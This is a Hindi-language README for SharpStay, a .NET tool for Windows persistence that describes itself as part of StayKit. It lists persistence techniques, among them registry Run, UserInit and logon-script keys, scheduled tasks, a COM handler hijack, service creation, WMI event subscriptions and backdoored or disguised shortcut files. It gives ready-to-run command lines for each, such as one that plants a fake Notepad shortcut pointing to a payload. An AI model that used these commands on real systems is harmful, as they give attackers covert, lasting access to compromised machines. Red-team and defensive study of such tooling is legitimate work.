SharpStay

SharpStay - .NET स्थायित्व

निर्माण

कंपाइल करने के लिए Visual Studio प्रोजेक्ट खोलें और रिलीज़ के लिए कंपाइल करें।

विकल्प

• उच्चाधिकार रजिस्ट्री कुंजियाँ

• उच्चाधिकार UserInit रजिस्ट्री कुंजी

• उच्चाधिकार अनुसूचित कार्य

• उच्चाधिकार सेवा बनाएँ

• उच्चाधिकार WMI ईवेंट सब्सक्रिप्शन

• गैर-उच्चाधिकार InitMprLogonScript रजिस्ट्री कुंजी

• गैर-उच्चाधिकार अनुसूचित कार्य COM हैंडलर हाइजैक

• गैर-उच्चाधिकार जंक्शन फ़ोल्डर

• विविध अनुसूचित कार्य क्रिया जोड़ें

• विविध स्टार्टअप निर्देशिका

• विविध नया LNK

• विविध बैकडोर LNK

• विविध कार्य नाम

• विविध अनुसूचित कार्य सूचीबद्ध करें

• विविध चल रही सेवाएँ सूचीबद्ध करें

• विविध अनुसूचित कार्य COM हैंडलर प्राप्त करें

Sharpstay.exe action=ElevatedRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=UserRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=UserInitMprLogonScriptKey command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=ElevatedUserInitKey command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=ScheduledTask taskname=TestTask command="C:\windows\temp\file.exe" runasuser=user1 triggertype=logon author=Microsoft Corp. description="Test Task" logonuser=user1

Sharpstay.exe action=ScheduledTaskAction taskname=TestTask command="C:\Windows\temp\fun.exe" folder="\\" actionid=ExecAction

Sharpstay.exe action=SchTaskCOMHijack clsid={a47af52a-27f9-4426-bd2b-727050712db1} dllpath="C:\windows\temp\fun.dll"

Sharpstay.exe action=CreateService servicename=TestService command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=WMIEventSub command="C:\Windows\temp\fun.exe" eventname=Debugger attime=startup 

Sharpstay.exe action=JunctionFolder dllpath="C:\windows\temp\fun.dll guid={a47af52a-27f9-4426-bd2b-727050712db1}

Sharpstay.exe action=NewLNK filepath="C:\users\admin\desktop" lnkname="Notepad.lnk" lnktarget="C:\Windows\temp\file.exe" lnkicon="C:\Windows\system32\notepad.exe"

Sharpstay.exe action=BackdoorLNK command="C:\Windows\temp\fun.exe" lnkpath="C:\users\user\desktop\Excel.lnk"

Sharpstay.exe action=ListTaskNames

Sharpstay.exe action=ListScheduledTasks

Sharpstay.exe action=ListRunningServices

Sharpstay.exe action=GetScheduledTaskCOMHandler

cleanup=true प्रत्येक स्थायित्व प्रकार के लिए एक विकल्प है।

का हिस्सा StayKit